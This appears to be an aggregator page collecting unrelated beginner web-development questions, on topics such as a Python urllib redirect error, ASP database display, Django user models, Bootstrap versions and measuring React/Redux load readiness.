I don't have high requirements for SEO, I just want my homepage to appear within the top 5-ish results when someone searches for "Campuslaunch" on Google. Currently, there is no other service, organization or other entity that uses this name. There seems to have been one in the past though, which was renamed. I neither require nor want subpages to be found on Google.

What can I do to achieve this? Currently, I can only find my site when searching explicitly for the url, but not when I search for "Campuslaunch".




Python3: HTTP Error 302 while using urllib

I want to read the value of different stocks from websites. Therefore I wrote this tiny script, which reads the page source and then parses out the value:

stock_reader.py

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from re import search
from urllib import request


def main():
    links = [
        [
            'CSG',
            'UBS',
        ],
        [
            'http://ift.tt/2y65nHA',
            'http://ift.tt/2jZgXOq',
        ],
    ]

    for i in in range(len(links[0])):
        url = links[1][i]
        htmltext = request.urlopen(url).read().decode('utf-8')
        source = htmltext.splitlines()
        for line in source:
            if 'id="bid"' in line:
                m = search('\d+.\d+', line)
                print('{}'.format(m.string[m.start():m.end()]))


if __name__ == '__main__':
    main()

sometimes it works but sometimes this error gets raised:

error message

Traceback (most recent call last):
  File "./aktien_reader.py", line 39, in <module>
    main()
  File "./aktien_reader.py", line 30, in main
    htmltext = request.urlopen(url).read().decode('utf-8')
  File "/usr/lib/python3.3/urllib/request.py", line 160, in urlopen
    return opener.open(url, data, timeout)
  File "/usr/lib/python3.3/urllib/request.py", line 479, in open
    response = meth(req, response)
  File "/usr/lib/python3.3/urllib/request.py", line 591, in http_response
    'http', request, response, code, msg, hdrs)
  File "/usr/lib/python3.3/urllib/request.py", line 511, in error
    result = self._call_chain(*args)
  File "/usr/lib/python3.3/urllib/request.py", line 451, in _call_chain
    result = func(*args)
  File "/usr/lib/python3.3/urllib/request.py", line 696, in http_error_302
    return self.parent.open(new, timeout=req.timeout)
  File "/usr/lib/python3.3/urllib/request.py", line 479, in open
    response = meth(req, response)
  File "/usr/lib/python3.3/urllib/request.py", line 591, in http_response
    'http', request, response, code, msg, hdrs)
  File "/usr/lib/python3.3/urllib/request.py", line 511, in error
    result = self._call_chain(*args)
  File "/usr/lib/python3.3/urllib/request.py", line 451, in _call_chain
    result = func(*args)
  File "/usr/lib/python3.3/urllib/request.py", line 696, in http_error_302
    return self.parent.open(new, timeout=req.timeout)
  File "/usr/lib/python3.3/urllib/request.py", line 479, in open
    response = meth(req, response)
  File "/usr/lib/python3.3/urllib/request.py", line 591, in http_response
    'http', request, response, code, msg, hdrs)
  File "/usr/lib/python3.3/urllib/request.py", line 511, in error
    result = self._call_chain(*args)
  File "/usr/lib/python3.3/urllib/request.py", line 451, in _call_chain
    result = func(*args)
  File "/usr/lib/python3.3/urllib/request.py", line 696, in http_error_302
    return self.parent.open(new, timeout=req.timeout)
  File "/usr/lib/python3.3/urllib/request.py", line 479, in open
    response = meth(req, response)
  File "/usr/lib/python3.3/urllib/request.py", line 591, in http_response
    'http', request, response, code, msg, hdrs)
  File "/usr/lib/python3.3/urllib/request.py", line 511, in error
    result = self._call_chain(*args)
  File "/usr/lib/python3.3/urllib/request.py", line 451, in _call_chain
    result = func(*args)
  File "/usr/lib/python3.3/urllib/request.py", line 696, in http_error_302
    return self.parent.open(new, timeout=req.timeout)
  File "/usr/lib/python3.3/urllib/request.py", line 479, in open
    response = meth(req, response)
  File "/usr/lib/python3.3/urllib/request.py", line 591, in http_response
    'http', request, response, code, msg, hdrs)
  File "/usr/lib/python3.3/urllib/request.py", line 511, in error
    result = self._call_chain(*args)
  File "/usr/lib/python3.3/urllib/request.py", line 451, in _call_chain
    result = func(*args)
  File "/usr/lib/python3.3/urllib/request.py", line 686, in http_error_302
    self.inf_msg + msg, headers, fp)
urllib.error.HTTPError: HTTP Error 302: The HTTP server returned a redirect error that would lead to an infinite loop.
The last 30x error message was:
Found

My question is: why is it happening and how can I avoid it?

Thanks in advance.




ASP Cannot display full contents of tables on Database - ADODB.Connection

It seems like silly question but I cannot find solution.

This implementation is display full content of each table on database using ADODB.Connection

'Display Tables'
Set rs = objConn.OpenSchema(20)
RPW("<table>")
RPW("<tr bgcolor=#888>")
    RPW("<td>Table</td>")
RPW("</tr>")

rs.MoveFirst
Do While Not rs.eof
    IF rs(3) = "TABLE" Then
        RPW("<tr bgcolor=#CCCCCC>")
        RPW("<td>" & rs(2) & "</td>")
        RPW("</tr>")
    End If
    rs.MoveNext
Loop

Call DisplayTable(objConn, objRecd, "Family")
Call DisplayTable(objConn, objRecd, "PersonalInformation")
Call DisplayTable(objConn, objRecd, "Special")
%>
</body>
</html>
<%
Function RPW(text)
    Response.Write(text)
End Function

Function DisplayTable(objconn, objrecd, table)
P2SN("Display Tables")
    RPW("</table>")
    strSQL = "SELECT * FROM " & table
    On Error Resume Next
    Set objrecd = objconn.Execute(strSQL)
    'Set objrecd.Open(strSQL), objConn

    If (objrecd.BOF And objrecd.EOF) Then
        P2SN("No Recoreds Found")
        'Response.End
    End If

    RPW("<table>")
    RPW("<tr bgcolor=#CCCCCC>")
    For Each x In objrecd.Fields
        RPW("<td>" & x.Name & "</td>")
    Next
    RPW("</tr>")
    RPW("<tr bgcolor=#CCCCCC>")
    For Each x In objrecd.Fields
        RPW("<td>" & x.Value & "</td>")
    Next
    RPW("</tr></table>")
End Function
%>

Result here:

enter image description here

But I have 8 people's information not only one.

Then I don't know what does the OpenSchema(20) mean.

Someone please help me. Thank you in advance.




How to implement onsite web notification architecture?

I want to send the notification to the website. I don't have any user information. Our website is not having login and signup option. so that we don't have user data. but I want to send the notification to the website. how can I implement this type of architecture? Please explain . Thanks in Advance.




How to analysis the result of django debug toolsbar?

From the debug result ,i can see my website Browser timing is really long. Basically i create 13000 item for the blog table. Seems like it takes not a long time to do sql query.
The debug result

My questions is how can i Identify bottlenecks from debug result. Why it loads so slowly ,takes near 20s .How can i reduce the domContentLoadedEvent and domloading Time.
Thanks.





i need bootstrap version choice (i'm making on-line shopping site with jsp, spring)

There are bootstrap 4.0 and bootstrap 3.x ...etc...

I'm making on-line shopping site with Java Server Page, Spring M V C) I need to choose bootstrap version 3.x or 4.0 which one is better?? Is it possible to use these versions coincidentally?? Or is there a problem when using version 4.0 now because it is new version recently.. please let me know.... please let me know.... please let me know....




How to make website users go through pages in order

I am working on a simple website that requires users to enter information in order over 3 different pages. So they need to go from page A to B to C. How can I stop them from typing in http://ift.tt/2wT7LMR, which skips page A?

Also, I'm not even sure what you call pages that must be visited in order, so any suggestions for google search terms on this also appreciated.




lundi 25 septembre 2017

What are some cool things that can be done by javascript on a web page?

recently I've created a starters project using html and css. I want to use javascript in it to make it look better. Its a webpage telling about me and my skills as a developer. Any ideas/suggestions? Thanks!




How to check if a WebRTC video call is running on a remote machine?

I am very new to WebRTC protocols and hope someone can help me.I wrote a small test webapp that establishes a point to point video call using WebRTC. I load the app on the remote machine ( chrome browser ) and join the call using another machine (chrome browser too). My question is how to check if the call is active on the remote machine (Using remote debugging or any other way)?




How to query for xml data on website programmatically?

I am looking to obtain some metar (weather data) in xml format for my swift IOS app that I'm working on. How do I query for this data programmatically? This is the homepage with examples for queries using browser but I need to know how to do this in a programming language.

http://ift.tt/2hw9D8n




Override Django User Model

I'm writing a Django app. I wanted to override the Django User Model for the following reasons:

1) I want to use LDAP for authentication. Therefore, Django authentication is not necessary for me.

2) I already have a user table and I want to reuse that table. I do not want Django to create a dup table for me. Also the table structure doesn't "fit" Django User model very well.

Therefore, I'd like to override the Django User class.

Does anyone have any good example good that I can learn from?




Knowing when the UI is ready in React / Redux

I would like to know how long it takes my app to become "ready" for the user to interact with it. The timeline of the app loading includes the following:

  1. DOM load.
  2. Initial React render.
  3. HTTP calls triggered from various componentDidMount()s
  4. HTTP calls return. Redux state is updated with HTTP responses.
  5. React renders with new values from HTTP responses.
  6. All initial loading is complete. User is ready to interact with the app.

At the end of this process, I'd like to fire a tracking event to record the value of window.performance.now().

I'm not sure what the best way to do this is. React's component system does a good job of decoupling various parts of the UI. In this case, it unfortunately means that I'm not going to have one easy place to check to know "has everything been rendered with the new data".

Things I've tried or considered:

  1. Look for a React lifecycle hook that tells me if any child is updating. Something like componentOrAnyChildDidUpdate(). I don't think this exists, and it may be counter to the React philosophy.
  2. Hack together a anyChildDidUpdate() lifecycle hook via context and making every component in my app either subclass a helper abstract base class or be wrapped in a higher-order component. This seems bad because context is an experimental API.
  3. Subscribe to the Redux state via store.subscribe(). Update the Redux state to have an explicit record of whether all the HTTP calls have returned. Once all the HTTP calls have returned, and React is finished re-rendering, then I know to fire the tracking callback. The problem is knowing when React is finished re-rendering. It would work if my store.subscribe() callback were guaranteed to be executed synchronously after react-redux's callback. But that is not the case.

Is there a good way to do this in React?